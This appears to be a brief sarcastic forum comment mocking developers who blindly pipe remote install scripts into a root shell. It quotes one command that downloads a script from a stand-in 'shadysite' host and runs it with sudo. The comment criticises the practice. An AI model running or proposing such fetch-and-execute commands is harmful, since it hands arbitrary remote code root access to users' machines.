I don't see the problem here.

We have automated the task of developers blindly executing

  wget -qO - http://shadysite/foo.sh | sudo bash
They would have happily pasted it into the terminal without the automation.

It's a net win for everyone involved.

Malware writers and their targets alike, who, eager to install the latest fad library or framework would have voluntarily installed it anyway.
